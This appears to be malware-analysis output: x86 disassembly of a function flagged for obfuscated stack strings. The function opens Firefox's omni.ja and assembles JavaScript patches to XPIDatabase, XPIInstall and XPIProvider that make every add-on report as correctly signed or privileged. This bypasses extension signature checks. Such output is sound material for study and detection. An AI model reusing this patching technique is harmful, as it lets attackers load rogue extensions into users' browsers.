Function at 0x442340
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x555a76
mov eax, dword fs:[0]
push eax
sub esp, 0x494
mov eax, dword [0x5932e0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x3c8], eax
push str.omni.ja
lea edx, [eax + 0x1c4]
mov dword [ebp - 0x3c4], 0
lea ecx, [ebp - 0x3c0]
call fcn.00409c80
sub esp, 0x14
mov dword [ebp - 4], 0
lea eax, [ebp - 0x3c0]
mov ecx, esp
push eax
call fcn.00409940
call fcn.0040cae0
add esp, 0x18
test al, al
jne 0x4423c3
mov esi, 0xfffff7cc
jmp 0x44395a
push 0x28
call fcn.00514e2e
mov esi, eax
mov dword [ebp - 0x3d4], esi
sub esp, 0x14
mov byte [ebp - 4], 2
xorps xmm0, xmm0
lea eax, [ebp - 0x3c0]
movups xmmword [esi], xmm0
mov ecx, esp
movups xmmword [esi + 0x10], xmm0
push eax
movq qword [esi + 0x20], xmm0
call fcn.00409940
mov ecx, esi
call fcn.004dfcd0
mov edi, eax
mov byte [ebp - 4], 0
push str.dons_
lea ecx, [ebp - 0x4a0]
mov dword [ebp - 0x3cc], edi
call fcn.00409900
mov esi, eax
push str.ules_ad
lea ecx, [ebp - 0x488]
mov byte [ebp - 4], 3
call fcn.00409900
push 3
push 0x573190
push 0
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.0040a1a0
push eax
lea ecx, [ebp - 0x470]
call fcn.004098c0
push esi
lea edx, [ebp - 0x470]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x3a8]
call fcn.00409da0
add esp, 4
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 8
call fcn.00409830
lea ecx, [ebp - 0x488]
mov byte [ebp - 4], 0xa
call fcn.00409830
lea ecx, [ebp - 0x4a0]
mov byte [ebp - 4], 0xc
call fcn.00409830
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x34], 0x6d736a
mov dword [ebp - 0x3d], 0x61746144
mov word [ebp - 0x40], 0x5058
mov dword [ebp - 0x38], 0x2e657361
mov byte [ebp - 0x3e], 0x49
mov byte [ebp - 0x39], 0x62
mov dword [ebp - 0x46], 0x7b2029
mov dword [ebp - 0x51], 0x796c7463
mov word [ebp - 0x4d], 0x6953
mov word [ebp - 0x59], 0x6920
mov word [ebp - 0x56], 0x6f43
mov word [ebp - 0x5c], 0x6567
mov word [ebp - 0x53], 0x6572
mov dword [ebp - 0x4a], 0x2864656e
mov byte [ebp - 0x5a], 0x74
mov byte [ebp - 0x54], 0x72
mov byte [ebp - 0x4b], 0x67
mov byte [ebp - 0x57], 0x73
mov dword [ebp - 0x81], 0x3b6575
mov word [ebp - 0x85], 0x206e
mov word [ebp - 0x9c], 0x7272
mov dword [ebp - 0xa0], 0x6f437369
mov dword [ebp - 0x99], 0x796c7463
mov dword [ebp - 0xa4], 0x20746567
mov word [ebp - 0x88], 0x7574
mov word [ebp - 0x8f], 0x2928
mov word [ebp - 0x92], 0x656e
mov word [ebp - 0x95], 0x6953
mov dword [ebp - 0x8d], 0x72207b20
mov byte [ebp - 0x93], 0x67
mov byte [ebp - 0x86], 0x72
mov byte [ebp - 0x9a], 0x65
mov byte [ebp - 0x89], 0x65
mov byte [ebp - 0x90], 0x64
mov word [ebp - 0x83], 0x7274
mov dword [ebp - 0x25], 0x6d736a
mov word [ebp - 0x2a], 0x6174
mov word [ebp - 0x30], 0x5058
mov word [ebp - 0x2d], 0x6e49
mov word [ebp - 0x27], 0x2e6c
mov byte [ebp - 0x2b], 0x73
mov byte [ebp - 0x28], 0x6c
mov byte [ebp - 0x2e], 0x49
mov dword [ebp - 0xd3], 0x7b2029
mov dword [ebp - 0xff], 0x74636e75
mov dword [ebp - 0xf4], 0x6e676953
mov dword [ebp - 0xd8], 0x496e6f64
mov dword [ebp - 0xf0], 0x74536465
mov word [ebp - 0xe3], 0x6120
mov word [ebp - 0xdd], 0x202c
mov word [ebp - 0xfb], 0x6f69
mov dword [ebp - 0xf8], 0x74656720
mov word [ebp - 0xe0], 0x7265
mov dword [ebp - 0xe8], 0x76526128
mov byte [ebp - 0xd4], 0x44
mov word [ebp - 0xdb], 0x4161
mov byte [ebp - 0xe1], 0x43
mov byte [ebp - 0xd9], 0x64
mov word [ebp - 0xeb], 0x7574
mov byte [ebp - 0xde], 0x74
mov byte [ebp - 0xe4], 0x2c
mov byte [ebp - 0xe9], 0x73
mov byte [ebp - 0xec], 0x61
mov byte [ebp - 0x100], 0x66
mov byte [ebp - 0xf9], 0x6e
mov byte [ebp - 0x104], 0
mov dword [ebp - 0x10c], 0x454c4956
mov dword [ebp - 0x108], 0x3b444547
mov word [ebp - 0x152], 0x6e67
mov dword [ebp - 0x148], 0x76526128
mov word [ebp - 0x129], 0x4120
mov dword [ebp - 0x12d], 0x6e727574
mov word [ebp - 0x12f], 0x6572
mov dword [ebp - 0x134], 0x7b202944
mov dword [ebp - 0x126], 0x4d6e6f64
mov byte [ebp - 0x160], 0x66
mov dword [ebp - 0x11f], 0x2e726567
mov dword [ebp - 0x111], 0x52505f45
mov dword [ebp - 0x115], 0x54415453
mov dword [ebp - 0x15c], 0x6e6f6974
mov dword [ebp - 0x13e], 0x61202c74
mov word [ebp - 0x155], 0x5374
mov word [ebp - 0x122], 0x6e61
mov dword [ebp - 0x14c], 0x73757461
mov dword [ebp - 0x119], 0x44454e47
mov dword [ebp - 0x143], 0x65436120
mov dword [ebp - 0x139], 0x6e6f6464
mov word [ebp - 0x158], 0x6720
mov byte [ebp - 0x120], 0x61
mov word [ebp - 0x11b], 0x4953
mov dword [ebp - 0x150], 0x74536465
mov byte [ebp - 0x13a], 0x41
mov byte [ebp - 0x144], 0x2c
mov byte [ebp - 0x135], 0x49
mov word [ebp - 0x15f], 0x6e75
mov byte [ebp - 0x13f], 0x72
mov byte [ebp - 0x130], 0x20
mov byte [ebp - 0x127], 0x64
mov byte [ebp - 0x10d], 0x49
mov byte [ebp - 0x15d], 0x63
mov byte [ebp - 0x156], 0x65
mov byte [ebp - 0x153], 0x69
mov dword [ebp - 0x14], 0x6d736a
mov dword [ebp - 0x18], 0x2e726564
mov dword [ebp - 0x20], 0x50495058
mov dword [ebp - 0x1c], 0x69766f72
mov dword [ebp - 0xa9], 0x3b2929
mov dword [ebp - 0xcc], 0x3d206469
mov dword [ebp - 0xc5], 0x6e6f6464
mov dword [ebp - 0xbe], 0x72656761
mov word [ebp - 0xae], 0x2844
mov word [ebp - 0xb4], 0x6f64
mov word [ebp - 0xb1], 0x7942
mov dword [ebp - 0xb9], 0x41746567
mov word [ebp - 0xac], 0x6469
mov byte [ebp - 0xaf], 0x49
mov byte [ebp - 0xb5], 0x64
mov word [ebp - 0xc7], 0x4120
mov byte [ebp - 0xb2], 0x6e
mov byte [ebp - 0xc8], 0x3e
mov byte [ebp - 0xaa], 0x29
mov word [ebp - 0xc1], 0x614d
mov byte [ebp - 0xba], 0x2e
mov byte [ebp - 0xbf], 0x6e
mov byte [ebp - 0x274], 0
mov byte [ebp - 0x33d], 0x74
mov byte [ebp - 0x28a], 0x53
mov byte [ebp - 0x321], 0x74
mov byte [ebp - 0x2b7], 0x74
mov byte [ebp - 0x38a], 0x41
mov byte [ebp - 0x380], 0x65
mov byte [ebp - 0x312], 0x72
mov byte [ebp - 0x306], 0x70
mov byte [ebp - 0x36a], 0x20
mov word [ebp - 0x2bb], 0x7061
mov byte [ebp - 0x329], 0x65
mov byte [ebp - 0x299], 0x4f
mov byte [ebp - 0x2d7], 0x3b
mov dword [ebp - 0x291], 0x4145525f
mov word [ebp - 0x2fe], 0xa3b
mov word [ebp - 0x311], 0x4449
mov byte [ebp - 0x2ab], 0x66
mov word [ebp - 0x2f5], 0x6966
mov word [ebp - 0x345], 0x7b20
mov word [ebp - 0x2a3], 0x6174
mov byte [ebp - 0x309], 0x57
mov byte [ebp - 0x346], 0x3e
mov word [ebp - 0x2ea], 0x736e
mov byte [ebp - 0x2a0], 0x74
mov byte [ebp - 0x379], 0x64
mov byte [ebp - 0x2b2], 0x61
mov word [ebp - 0x33b], 0x6461
mov byte [ebp - 0x30c], 0x64
mov word [ebp - 0x280], 0x4241
mov word [ebp - 0x27b], 0xa3b
mov word [ebp - 0x2d0], 0x5049
mov word [ebp - 0x2f1], 0x3d20
mov byte [ebp - 0x30e], 0x61
mov byte [ebp - 0x300], 0x64
mov word [ebp - 0x375], 0x7942
mov byte [ebp - 0x368], 0x20
mov word [ebp - 0x2e7], 0x6946
mov byte [ebp - 0x334], 0x20
mov word [ebp - 0x2a7], 0x202c
mov byte [ebp - 0x285], 0x4f
mov byte [ebp - 0x29b], 0x20
mov word [ebp - 0x2af], 0x6e6f
mov byte [ebp - 0x2e2], 0x61
mov word [ebp - 0x342], 0x920
mov dword [ebp - 0x36f], 0x29292964
mov word [ebp - 0x33f], 0x656c
mov byte [ebp - 0x388], 0x64
mov byte [ebp - 0x2c3], 0x6c
mov byte [ebp - 0x2a8], 0x65
mov byte [ebp - 0x343], 0xa
mov byte [ebp - 0x2fa], 9
mov word [ebp - 0x283], 0x455f
mov byte [ebp - 0x2d3], 9
mov word [ebp - 0x363], 0x6461
mov word [ebp - 0x2cd], 0x766f
mov word [ebp - 0x295], 0x5254
mov byte [ebp - 0x34c], 0x70
mov word [ebp - 0x35f], 0x736e
mov byte [ebp - 0x373], 0x49
mov word [ebp - 0x2ee], 0x656e
mov word [ebp - 0x324], 0x4763
mov byte [ebp - 0x2bc], 0x72
mov word [ebp - 0x32c], 0x6162
mov dword [ebp - 0x2de], 0x61702e6e
mov byte [ebp - 0x33c], 0x20
mov byte [ebp - 0x366], 0x20
mov byte [ebp - 0x293], 0x41
mov byte [ebp - 0x35a], 0x72
mov byte [ebp - 0x340], 9
mov byte [ebp - 0x390], 0x69
mov word [ebp - 0x327], 0x7973
mov word [ebp - 0x29e], 0x2270
mov byte [ebp - 0x356], 0x68
mov byte [ebp - 0x2bf], 0x74
mov byte [ebp - 0x37e], 0x2e
mov dword [ebp - 0x339], 0x206e6f64
mov byte [ebp - 0x30a], 0x6e
mov byte [ebp - 0x2f2], 0x65
mov word [ebp - 0x34b], 0x6570
mov word [ebp - 0x384], 0x6e61
mov word [ebp - 0x27e], 0x454c
mov byte [ebp - 0x32a], 0x73
mov byte [ebp - 0x37c], 0x65
mov word [ebp - 0x289], 0x412e
mov byte [ebp - 0x317], 0x64
mov byte [ebp - 0x360], 0x6f
mov byte [ebp - 0x30f], 0x28
mov byte [ebp - 0x37a], 0x41
mov byte [ebp - 0x371], 0x28
mov word [ebp - 0x31e], 0x6973
mov word [ebp - 0x2b6], 0x6f68
mov byte [ebp - 0x31a], 0x65
mov word [ebp - 0x28c], 0x4e4f
mov byte [ebp - 0x2f7], 0x74
mov word [ebp - 0x2d6], 0x200a
mov word [ebp - 0x276], 0x3b29
mov word [ebp - 0x314], 0x6f46
mov word [ebp - 0x2b9], 0x654d
mov byte [ebp - 0x325], 0x6e
mov dword [ebp - 0x2ca], 0x2e726564
mov byte [ebp - 0x2a1], 0x72
mov word [ebp - 0x2d9], 0x2968
mov byte [ebp - 0x328], 0x2e
mov byte [ebp - 0x2da], 0x74
mov word [ebp - 0x378], 0x6f64
mov word [ebp - 0x2ad], 0x202c
mov dword [ebp - 0x350], 0x6172576e
mov byte [ebp - 0x32f], 0x61
mov word [ebp - 0x387], 0x6e6f
mov word [ebp - 0x2aa], 0x6c69
mov word [ebp - 0x2d2], 0x5058
mov byte [ebp - 0x284], 0x4e
mov byte [ebp - 0x36b], 0x3b
mov word [ebp - 0x305], 0x6570
mov word [ebp - 0x2a5], 0x7322
mov byte [ebp - 0x385], 0x4d
mov byte [ebp - 0x279], 0x20
mov word [ebp - 0x35c], 0x6f66
mov word [ebp - 0x2e5], 0x656c
mov word [ebp - 0x358], 0x6361
mov word [ebp - 0x2b1], 0x6464
mov word [ebp - 0x298], 0x544f
mov byte [ebp - 0x30d], 0x64
mov byte [ebp - 0x381], 0x67
mov word [ebp - 0x2e1], 0x6464
mov word [ebp - 0x2c1], 0x6f6f
mov byte [ebp - 0x37f], 0x72
mov byte [ebp - 0x389], 0x64
mov byte [ebp - 0x292], 0x50
mov dword [ebp - 0x38e], 0x203e3d20
mov byte [ebp - 0x27c], 0x29
mov word [ebp - 0x308], 0x6172
mov byte [ebp - 0x29a], 0x42
mov byte [ebp - 0x2f3], 0x6c
mov byte [ebp - 0x320], 0x56
mov word [ebp - 0x352], 0x6f64
mov byte [ebp - 0x29c], 0x2c
mov word [ebp - 0x32e], 0x6174
mov word [ebp - 0x319], 0x6441
mov word [ebp - 0x2fc], 0x920
mov word [ebp - 0x302], 0x692e
mov byte [ebp - 0x2e3], 0x28
mov word [ebp - 0x2f9], 0x656c
mov word [ebp - 0x349], 0x2072
mov byte [ebp - 0x369], 0xa
mov byte [ebp - 0x2e8], 0x49
mov byte [ebp - 0x376], 0x6e
mov byte [ebp - 0x37b], 0x74
mov word [ebp - 0x31c], 0x6c62
mov word [ebp - 0x355], 0x6128
mov byte [ebp - 0x30b], 0x6f
mov byte [ebp - 0x2f6], 0x20
mov word [ebp - 0x316], 0x6e6f
mov word [ebp - 0x2c6], 0x6163
mov dword [ebp - 0x333], 0x44495058
mov word [ebp - 0x2ec], 0x2077
mov byte [ebp - 0x38f], 0x64
mov word [ebp - 0x365], 0x909
mov byte [ebp - 0x296], 0x53
mov byte [ebp - 0x29f], 0x75
mov byte [ebp - 0x361], 0x64
mov byte [ebp - 0x372], 0x44
mov byte [ebp - 0x35d], 0x2e
mov word [ebp - 0x278], 0x7d09
mov word [ebp - 0x2be], 0x7473
mov byte [ebp - 0x2ef], 0x20
mov byte [ebp - 0x347], 0x3d
mov byte [ebp - 0x353], 0x64
mov byte [ebp - 0x37d], 0x67
mov byte [ebp - 0x335], 0x3d
mov byte [ebp - 0x2ce], 0x72
mov byte [ebp - 0x359], 0x45
mov byte [ebp - 0x281], 0x4e
mov byte [ebp - 0x2d4], 9
mov byte [ebp - 0x370], 0x69
mov word [ebp - 0x287], 0x4444
mov byte [ebp - 0x28d], 0x53
mov byte [ebp - 0x2c2], 0x42
mov byte [ebp - 0x303], 0x72
mov byte [ebp - 0x2df], 0x6f
mov byte [ebp - 0x2ff], 0x29
mov byte [ebp - 0x2c4], 0x6c
mov word [ebp - 0x2b4], 0x2864
mov byte [ebp - 0x382], 0x61
mov byte [ebp - 0x367], 0xa
mov byte [ebp - 0x2cb], 0x69
mov byte [ebp - 0x31f], 0x69
mov byte [ebp - 0x322], 0x65
mov dword [ebp - 0x61], 0x3b2929
mov dword [ebp - 0x70], 0x64417465
mov word [ebp - 0x79], 0x3e3d
mov word [ebp - 0x64], 0x6469
mov dword [ebp - 0x74], 0x672e7369
mov dword [ebp - 0x6b], 0x79426e6f
mov word [ebp - 0x76], 0x6874
mov word [ebp - 0x7b], 0x2064
mov byte [ebp - 0x6c], 0x64
mov word [ebp - 0x67], 0x4449
mov byte [ebp - 0x7c], 0x69
mov byte [ebp - 0x62], 0x29
mov byte [ebp - 0x65], 0x28
mov byte [ebp - 0x77], 0x20
mov byte [ebp - 0x164], 0
mov byte [ebp - 0x22a], 0x3e
mov byte [ebp - 0x212], 0x72
mov word [ebp - 0x1f5], 0x5820
mov word [ebp - 0x24d], 0x6f64
mov byte [ebp - 0x1ce], 0x57
mov dword [ebp - 0x1de], 0x6f646441
mov byte [ebp - 0x1c2], 0xa
mov byte [ebp - 0x210], 0x70
mov byte [ebp - 0x244], 0x61
mov byte [ebp - 0x242], 0x68
mov dword [ebp - 0x233], 0x70706172
mov word [ebp - 0x237], 0x6f64
mov byte [ebp - 0x1d0], 0x6f
mov byte [ebp - 0x1a7], 0x72
mov word [ebp - 0x23b], 0x2820
mov byte [ebp - 0x1eb], 0x73
mov byte [ebp - 0x257], 0x64
mov dword [ebp - 0x1cc], 0x65707061
mov word [ebp - 0x259], 0x6928
mov word [ebp - 0x16f], 0x454c
mov word [ebp - 0x25e], 0x426e
mov word [ebp - 0x270], 0x6469
mov byte [ebp - 0x204], 0x74
mov word [ebp - 0x24a], 0x2e73
mov dword [ebp - 0x228], 0x9090a7b
mov byte [ebp - 0x20a], 0xa
mov byte [ebp - 0x1a3], 0x63
mov byte [ebp - 0x168], 0x7d
mov byte [ebp - 0x186], 0x54
mov dword [ebp - 0x1fb], 0x61776120
mov byte [ebp - 0x22d], 0x29
mov word [ebp - 0x1c8], 0x2e72
mov byte [ebp - 0x1b7], 0x49
mov byte [ebp - 0x252], 0xa
mov byte [ebp - 0x1c0], 9
mov byte [ebp - 0x202], 0x61
mov byte [ebp - 0x1b0], 0x61
mov byte [ebp - 0x1c5], 0x64
mov byte [ebp - 0x25f], 0x6f
mov word [ebp - 0x1f1], 0x6144
mov dword [ebp - 0x21c], 0x28676f6c
mov byte [ebp - 0x180], 0x45
mov byte [ebp - 0x200], 0x64
mov byte [ebp - 0x1a0], 0x65
mov dword [ebp - 0x1da], 0x726f466e
mov byte [ebp - 0x215], 0x6f
mov byte [ebp - 0x17e], 0x53
mov word [ebp - 0x1b5], 0x746e
mov byte [ebp - 0x1ad], 0x42
mov byte [ebp - 0x188], 0x54
mov dword [ebp - 0x1d4], 0x64646128
mov word [ebp - 0x19e], 0x6567
mov byte [ebp - 0x16a], 0x20
mov byte [ebp - 0x1e4], 0x69
mov word [ebp - 0x208], 0x909
mov byte [ebp - 0x18b], 0x42
mov byte [ebp - 0x222], 0x6e
mov word [ebp - 0x264], 0x7465
mov byte [ebp - 0x193], 0x73
mov word [ebp - 0x1be], 0x6177
mov word [ebp - 0x20f], 0x6570
mov word [ebp - 0x267], 0x2e73
mov word [ebp - 0x1e3], 0x6973
mov byte [ebp - 0x224], 0x63
mov word [ebp - 0x255], 0x2929
mov word [ebp - 0x1ed], 0x6162
mov dword [ebp - 0x198], 0x296e6f64
mov byte [ebp - 0x243], 0x63
mov byte [ebp - 0x172], 0x4e
mov dword [ebp - 0x26c], 0x6874203e
mov word [ebp - 0x250], 0x6109
mov byte [ebp - 0x1e0], 0x6c
mov byte [ebp - 0x239], 0x61
mov byte [ebp - 0x1cd], 0x72
mov byte [ebp - 0x1ef], 0x74
mov byte [ebp - 0x24b], 0x6e
mov byte [ebp - 0x199], 0x64
mov word [ebp - 0x16c], 0xa3b
mov word [ebp - 0x25c], 0x4979
mov word [ebp - 0x1c4], 0x3b29
mov word [ebp - 0x17d], 0x4e4f
mov byte [ebp - 0x1f2], 0x49
mov byte [ebp - 0x211], 0x61
mov byte [ebp - 0x1b3], 0x65
mov word [ebp - 0x1e9], 0x672e
mov word [ebp - 0x241], 0x6128
mov byte [ebp - 0x18e], 0x75
mov dword [ebp - 0x1ff], 0x3d206e6f
mov word [ebp - 0x1d6], 0x4449
mov byte [ebp - 0x1ea], 0x65
mov word [ebp - 0x1e6], 0x5674
mov word [ebp - 0x185], 0x4152
mov byte [ebp - 0x1b1], 0x6e
mov word [ebp - 0x214], 0x576e
mov word [ebp - 0x261], 0x6464
sub esp, 0x18
mov dword [ebp - 0x220], 0x2e656c6f
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x3d4], esp
mov ecx, esp
mov dword [ebp - 0x178], 0x4e4f4444
mov dword [ebp - 0x248], 0x45726f66
push eax
mov byte [ebp - 0x16d], 0x29
mov byte [ebp - 0x1bb], 0x74
mov byte [ebp - 0x234], 0x57
mov byte [ebp - 0x1a4], 0x53
mov byte [ebp - 0x165], 0x20
mov dword [ebp - 0x1ab], 0x7473746f
mov word [ebp - 0x23d], 0x636e
mov byte [ebp - 0x1b6], 0x49
mov byte [ebp - 0x218], 0x61
mov byte [ebp - 0x23f], 0x73
mov word [ebp - 0x22c], 0x3d20
mov byte [ebp - 0x179], 0x41
mov word [ebp - 0x18a], 0x4f4f
mov byte [ebp - 0x25a], 0x44
mov byte [ebp - 0x19f], 0x2e
mov byte [ebp - 0x1c6], 0x69
mov byte [ebp - 0x183], 0x50
mov word [ebp - 0x20c], 0x3b29
mov byte [ebp - 0x251], 0xa
mov word [ebp - 0x1a2], 0x706f
mov dword [ebp - 0x192], 0x74726174
mov word [ebp - 0x26e], 0x3d20
mov word [ebp - 0x217], 0x6464
mov byte [ebp - 0x17f], 0x41
mov word [ebp - 0x206], 0x656c
mov word [ebp - 0x1f7], 0x7469
mov word [ebp - 0x19b], 0x6128
mov byte [ebp - 0x1cf], 0x6e
mov byte [ebp - 0x194], 0x2e
mov word [ebp - 0x167], 0x3b29
mov byte [ebp - 0x253], 0x3b
mov byte [ebp - 0x1ee], 0x61
mov byte [ebp - 0x201], 0x64
mov byte [ebp - 0x268], 0x69
mov byte [ebp - 0x20d], 0x72
mov byte [ebp - 0x223], 0x6f
mov byte [ebp - 0x1df], 0x65
mov word [ebp - 0x174], 0x455f
mov word [ebp - 0x18d], 0x2870
mov word [ebp - 0x171], 0x4241
mov word [ebp - 0x1ba], 0x5820
mov word [ebp - 0x182], 0x525f
mov byte [ebp - 0x203], 0x20
mov word [ebp - 0x22f], 0x7265
mov byte [ebp - 0x1b8], 0x50
mov byte [ebp - 0x262], 0x41
mov byte [ebp - 0x256], 0x29
mov byte [ebp - 0x1c1], 9
mov byte [ebp - 0x229], 0x20
mov word [ebp - 0x1a6], 0x7061
mov byte [ebp - 0x238], 0x64
mov byte [ebp - 0x169], 9
mov byte [ebp - 0x1bf], 0x61
mov byte [ebp - 0x1f3], 0x50
mov byte [ebp - 0x1bc], 0x69
mov byte [ebp - 0x24e], 0x64
mov byte [ebp - 0x265], 0x67
mov byte [ebp - 0x187], 0x53
mov byte [ebp - 0x1ac], 0x6f
mov word [ebp - 0x1af], 0x2e6c
mov byte [ebp - 0x1b2], 0x72
mov byte [ebp - 0x19c], 0x74
mov word [ebp - 0x17b], 0x2e53
mov byte [ebp - 0x1e7], 0x65
mov byte [ebp - 0x1e1], 0x62
mov byte [ebp - 0x23e], 0x79
mov byte [ebp - 0x235], 0x6e
mov byte [ebp - 0x209], 0x20
mov byte [ebp - 0x221], 0x73
call fcn.00409900
mov byte [ebp - 4], 0xd
sub esp, 0x18
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x3c4], esp
mov ecx, esp
push eax
call fcn.00409900
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x3f8]
call fcn.00409900
sub esp, 0x18
mov byte [ebp - 4], 0xf
mov esi, esp
lea ecx, [ebp - 0x3a8]
mov dword [ebp - 0x3d8], esi
push ecx
push 0
mov ecx, eax
call fcn.0040a180
push eax
mov ecx, esi
call fcn.004098c0
mov ecx, edi
mov byte [ebp - 4], 0x10
call fcn.004dfdf0
mov edi, eax
lea ecx, [ebp - 0x3f8]
mov byte [ebp - 4], 0x11
call fcn.00409830
push 0x573194
lea ecx, [ebp - 0x458]
mov byte [ebp - 4], 0xb
call fcn.00409900
mov eax, dword [ebp - 0x3c8]
lea ecx, [ebp - 0x440]
add eax, 0x1ac
mov byte [ebp - 4], 0x12
push eax
call fcn.00409940
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x3f8]
mov edx, edi
mov dword [ebp - 0x3c4], 0xa0001
call fcn.0040b190
mov dword [ebp - 4], 0x14
lea ecx, [ebp - 0x428]
push 0x57319c
mov dword [ebp - 0x3c4], 0x4a0003
call fcn.00409900
lea eax, [ebp - 0x3f8]
push eax
lea ecx, [ebp - 0x410]
call fcn.004098c0
mov dword [ebp - 0x3c4], 0x4a0005
lea ecx, [ebp - 0x3f8]
mov dword [ebp - 4], 0x15
call fcn.00409830
sub esp, 8
mov dword [ebp - 4], 0x16
mov esi, esp
mov dword [ebp - 0x3c4], 0x4a000d
lea eax, [ebp - 0x3dd]
mov dword [ebp - 0x3d8], esi
mov ecx, esi
push eax
call fcn.00420010
lea eax, [ebp - 0x3f8]
mov dword [ebp - 4], 0x17
push eax
lea eax, [ebp - 0x458]
push eax
mov ecx, esi
call fcn.004269f0
mov eax, dword [ebp - 0x3c8]
mov byte [ebp - 4], 0x16
push 0x31
mov ecx, dword [eax + 0x5c]
call fcn.0044d0b0
push fcn.0040e2f0
push 2
push 0x30
lea eax, [ebp - 0x458]
mov dword [ebp - 4], 0xb
push eax
call fcn.0051510b
xor ecx, ecx
mov eax, 0xfffff7c8
test edi, edi
cmove eax, ecx
sub esp, 0x18
mov dword [ebp - 0x3d4], eax
mov ecx, esp
lea eax, [ebp - 0x160]
mov dword [ebp - 0x3d8], esp
push eax
call fcn.00409900
sub esp, 0x18
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x100]
mov dword [ebp - 0x3c4], esp
mov ecx, esp
push eax
call fcn.00409900
lea eax, [ebp - 0x30]
mov byte [ebp - 4], 0x19
push eax
lea ecx, [ebp - 0x3f8]
call fcn.00409900
sub esp, 0x18
mov byte [ebp - 4], 0x1a
mov ecx, esp
lea edx, [ebp - 0x3a8]
push eax
call fcn.00425830
add esp, 4
mov ecx, dword [ebp - 0x3cc]
mov byte [ebp - 4], 0x1b
call fcn.004dfdf0
lea ecx, [ebp - 0x3f8]
mov byte [ebp - 4], 0xb
mov esi, eax
call fcn.00409830
mov edi, dword [ebp - 0x3c8]
lea ecx, [ebp - 0x458]
add edi, 0x1ac
push edi
push 0x5731a0
call fcn.00425b70
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x3f8]
mov edx, esi
mov dword [ebp - 0x3c4], 0x4a0015
call fcn.0040b190
push eax
mov dword [ebp - 4], 0x1d
lea ecx, [ebp - 0x428]
push 0x5731a8
mov dword [ebp - 0x3c4], 0x4a0035
call fcn.00445780
lea ecx, [ebp - 0x3f8]
call fcn.00409830
lea eax, [ebp - 0x3f8]
mov dword [ebp - 4], 0x1e
mov dword [ebp - 0x3c4], 0x4a00d5
push eax
lea eax, [ebp - 0x458]
push eax
lea ecx, [ebp - 0x3dc]
call fcn.00419c60
sub esp, 8
mov ecx, esp
push dword [eax + 4]
push dword [eax]
call fcn.00419d30
mov eax, dword [ebp - 0x3c8]
push 0x31
mov ecx, dword [eax + 0x5c]
call fcn.0044d0b0
push fcn.0040e2f0
push 2
push 0x30
lea eax, [ebp - 0x458]
mov dword [ebp - 4], 0xb
push eax
call fcn.0051510b
sub esp, 0x18
lea eax, [ebp - 0x390]
mov ecx, esp
mov dword [ebp - 0x3d0], esp
push eax
call fcn.00409900
sub esp, 0x18
mov byte [ebp - 4], 0x1f
lea eax, [ebp - 0xcc]
mov dword [ebp - 0x3d8], esp
mov ecx, esp
push eax
call fcn.00409900
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x20
push eax
lea ecx, [ebp - 0x3f8]
call fcn.00409900
sub esp, 0x18
mov byte [ebp - 4], 0x21
mov ecx, esp
lea edx, [ebp - 0x3a8]
push eax
call fcn.00425830
add esp, 4
mov ecx, dword [ebp - 0x3cc]
mov byte [ebp - 4], 0x22
call fcn.004dfdf0
lea ecx, [ebp - 0x3f8]
mov byte [ebp - 4], 0xb
mov esi, eax
call fcn.00409830
push edi
push 0x5731ac
lea ecx, [ebp - 0x458]
call fcn.00425b70
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x3f8]
mov edx, esi
mov dword [ebp - 0x3c4], 0x4a0155
call fcn.0040b190
push eax
mov dword [ebp - 4], 0x24
lea ecx, [ebp - 0x428]
push 0x5731b4
mov dword [ebp - 0x3c4], 0x4a0355
call fcn.00445780
lea ecx, [ebp - 0x3f8]
call fcn.00409830
lea eax, [ebp - 0x3f8]
mov dword [ebp - 4], 0x25
push eax
mov dword [ebp - 0x3c4], 0x4a0d55
lea eax, [ebp - 0x458]
push eax
lea ecx, [ebp - 0x3dc]
call fcn.00419c60
sub esp, 8
mov ecx, esp
push dword [eax + 4]
push dword [eax]
call fcn.00419d30
mov eax, dword [ebp - 0x3c8]
push 0x31
mov ecx, dword [eax + 0x5c]
call fcn.0044d0b0
push fcn.0040e2f0
push 2
push 0x30
lea eax, [ebp - 0x458]
mov dword [ebp - 4], 0xb
push eax
call fcn.0051510b
sub esp, 0x18
lea eax, [ebp - 0x270]
mov ecx, esp
mov dword [ebp - 0x3d0], esp
push eax
call fcn.00409900
sub esp, 0x18
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x3d8], esp
mov ecx, esp
push eax
call fcn.00409900
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x27
push eax
lea ecx, [ebp - 0x3f8]
call fcn.00409900
sub esp, 0x18
mov byte [ebp - 4], 0x28
mov ecx, esp
lea edx, [ebp - 0x3a8]
push eax
call fcn.00425830
add esp, 4
mov ecx, dword [ebp - 0x3cc]
mov byte [ebp - 4], 0x29
call fcn.004dfdf0
lea ecx, [ebp - 0x3f8]
mov byte [ebp - 4], 0xb
mov esi, eax
call fcn.00409830
push edi
push 0x5731b8
lea ecx, [ebp - 0x458]
call fcn.00425b70
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x3f8]
mov edx, esi
mov dword [ebp - 0x3c4], 0x4a1555
call fcn.0040b190
push eax
mov dword [ebp - 4], 0x2b
lea ecx, [ebp - 0x428]
push 0x5731c0
mov dword [ebp - 0x3c4], 0x4a3555
call fcn.00445780
lea ecx, [ebp - 0x3f8]
call fcn.00409830
lea eax, [ebp - 0x3f8]
mov dword [ebp - 4], 0x2c
push eax
lea eax, [ebp - 0x458]
mov dword [ebp - 0x3c4], 0x4ad555
push eax
lea ecx, [ebp - 0x3dc]
call fcn.00419c60
sub esp, 8
mov ecx, esp
push dword [eax + 4]
push dword [eax]
call fcn.00419d30
mov esi, dword [ebp - 0x3c8]
